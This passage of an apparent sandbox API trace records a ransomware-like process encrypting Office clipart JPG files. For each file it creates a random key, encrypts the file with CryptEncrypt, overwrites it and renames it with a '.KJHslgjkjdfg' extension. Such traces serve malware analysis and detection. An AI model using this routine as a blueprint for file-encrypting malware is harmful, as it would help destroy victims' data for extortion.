lpNewFilePointer=0x0) returned 1 [0183.544] SetEndOfFile (hFile=0x114) returned 1 [0183.547] GetProcessHeap () returned 0x2a0000 [0183.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.547] GetProcessHeap () returned 0x2a0000 [0183.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.kjhslgjkjdfg")) returned 1 [0183.549] CloseHandle (hObject=0x114) returned 1 [0183.549] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6873, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341559.JPG", cAlternateFileName="")) returned 1 [0183.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.550] GetProcessHeap () returned 0x2a0000 [0183.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.550] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.550] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0183.553] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.553] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.553] GetProcessHeap () returned 0x2a0000 [0183.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.553] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.553] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.553] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.553] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.553] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.553] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.553] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.553] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.553] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.554] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.554] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.554] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6873, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6873, lpOverlapped=0x0) returned 1 [0183.555] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6880, dwBufLen=0x6880 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6880) returned 1 [0183.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.555] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6880, lpOverlapped=0x0) returned 1 [0183.555] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.555] SetEndOfFile (hFile=0x114) returned 1 [0183.558] GetProcessHeap () returned 0x2a0000 [0183.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.558] GetProcessHeap () returned 0x2a0000 [0183.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.558] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.kjhslgjkjdfg")) returned 1 [0183.560] CloseHandle (hObject=0x114) returned 1 [0183.560] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1 [0183.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.561] GetProcessHeap () returned 0x2a0000 [0183.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.561] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.561] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.561] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0183.564] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.564] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.564] GetProcessHeap () returned 0x2a0000 [0183.564] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.564] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.564] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.564] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.564] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.564] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.564] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.565] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.565] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.565] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa497, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa497, lpOverlapped=0x0) returned 1 [0183.566] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa4a0, dwBufLen=0xa4a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa4a0) returned 1 [0183.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.567] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa4a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa4a0, lpOverlapped=0x0) returned 1 [0183.567] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.567] SetEndOfFile (hFile=0x114) returned 1 [0183.570] GetProcessHeap () returned 0x2a0000 [0183.570] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.570] GetProcessHeap () returned 0x2a0000 [0183.570] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.kjhslgjkjdfg")) returned 1 [0183.572] CloseHandle (hObject=0x114) returned 1 [0183.572] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1 [0183.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.573] GetProcessHeap () returned 0x2a0000 [0183.573] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.573] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.573] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0183.577] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.577] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.577] GetProcessHeap () returned 0x2a0000 [0183.577] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.577] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.577] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.577] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.577] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.578] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.578] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.578] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.578] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.578] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.578] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e7b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e7b, lpOverlapped=0x0) returned 1 [0183.579] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80) returned 1 [0183.579] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.579] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e80, lpOverlapped=0x0) returned 1 [0183.579] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.579] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.580] SetEndOfFile (hFile=0x114) returned 1 [0183.582] GetProcessHeap () returned 0x2a0000 [0183.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.582] GetProcessHeap () returned 0x2a0000 [0183.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.kjhslgjkjdfg")) returned 1 [0183.584] CloseHandle (hObject=0x114) returned 1 [0183.584] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1 [0183.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.603] GetProcessHeap () returned 0x2a0000 [0183.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.603] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.603] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0183.606] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.606] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.606] GetProcessHeap () returned 0x2a0000 [0183.606] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.606] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.606] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.606] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.606] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.606] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.607] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.607] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.607] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.607] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.607] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.607] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3615, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3615, lpOverlapped=0x0) returned 1 [0183.608] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3620, dwBufLen=0x3620 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3620) returned 1 [0183.608] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.608] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3620, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3620, lpOverlapped=0x0) returned 1 [0183.609] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x36f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.609] SetEndOfFile (hFile=0x114) returned 1 [0183.611] GetProcessHeap () returned 0x2a0000 [0183.611] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.611] GetProcessHeap () returned 0x2a0000 [0183.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.kjhslgjkjdfg")) returned 1 [0183.613] CloseHandle (hObject=0x114) returned 1 [0183.613] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1 [0183.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: 